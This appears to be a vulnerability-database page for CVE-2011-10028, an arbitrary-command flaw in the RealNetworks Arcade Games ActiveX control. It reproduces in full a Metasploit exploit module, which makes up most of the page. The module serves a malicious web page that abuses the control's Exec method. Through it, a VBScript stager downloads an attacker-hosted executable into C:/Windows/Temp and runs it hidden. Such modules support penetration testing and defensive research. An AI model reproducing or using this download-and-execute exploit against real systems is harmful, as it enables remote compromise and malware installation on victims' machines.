Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

🗓️ 03 Apr 2011 00:00:00Reported by rgod, sinn3r <[email protected]>Type

Remote code execution in Real Networks Arcade Game's ActiveX control using StubbyUtil.ProcessMgr

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2011-10028	20 Aug 202515:39	–	attackerkb
Circl	CVE-2011-10028	29 May 201815:50	–	circl
CNNVD	RealNetworks RealArcade 安全漏洞	20 Aug 202500:00	–	cnnvd
CVE	CVE-2011-10028	20 Aug 202515:39	–	cve
Cvelist	CVE-2011-10028 RealNetworks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution	20 Aug 202515:39	–	cvelist
EUVD	EUVD-2011-5253	7 Oct 202500:30	–	euvd
NVD	CVE-2011-10028	20 Aug 202516:15	–	nvd
Positive Technologies	PT-2025-34109 · Undefined · Undefined	20 Aug 202500:00	–	ptsecurity
RedhatCVE	CVE-2011-10028	22 Aug 202516:35	–	redhatcve
Vulnrichment	CVE-2011-10028 RealNetworks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution	20 Aug 202515:39	–	vulnrichment

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec"
          function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
          on the victim machine.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Initial discovery, poc
          'sinn3r', # msf
        ],
        'References' => [
          [ 'CVE', '2011-10028' ],
          [ 'OSVDB', '71559' ],
          [ 'EDB', '17105' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', {} ],
        ],
        'DisclosureDate' => '2011-04-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  # Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
  # either the payload or the vbs script.  To avoid this problem, I ended up writing this custom routine
  # that only uses one echo.
  def build_vbs(url, payload_name, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb = rand_text_alpha(2)

    tmp = "#{@temp_folder}/#{stager_name}"

    vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
    vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
    vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
    vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
    vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
    vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
    vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"

    return vbs
  end

  def exploit
    @payload_name = rand_text_alpha(4)
    @temp_folder = "C:/Windows/Temp"
    super
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending payload EXE")
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Payload's URL
    payload_src = "#{get_uri(cli)}/#{@payload_name}.exe"

    # Create the stager (download + execute payload)
    stager_name = rand_text_alpha(6) + ".vbs"
    stager = build_vbs(payload_src, @payload_name, stager_name)

    html_obj_name = rand_text_alpha(6)

    html = <<-EOS
    <html>
    <object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
    </object>
    <script language='vbscript'>
    #{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
    setTimeout "x=1", 3000
    #{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
    </script>
    </html>
    EOS

    # Remove extra tabs
    html = html.gsub(/^ {4}/, "")

    print_status("Sending #{self.name}")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

03 Apr 2011 00:00Current

5.6Medium risk

Vulners AI Score5.6

CVSS 48.7

EPSS0.01138

SSVC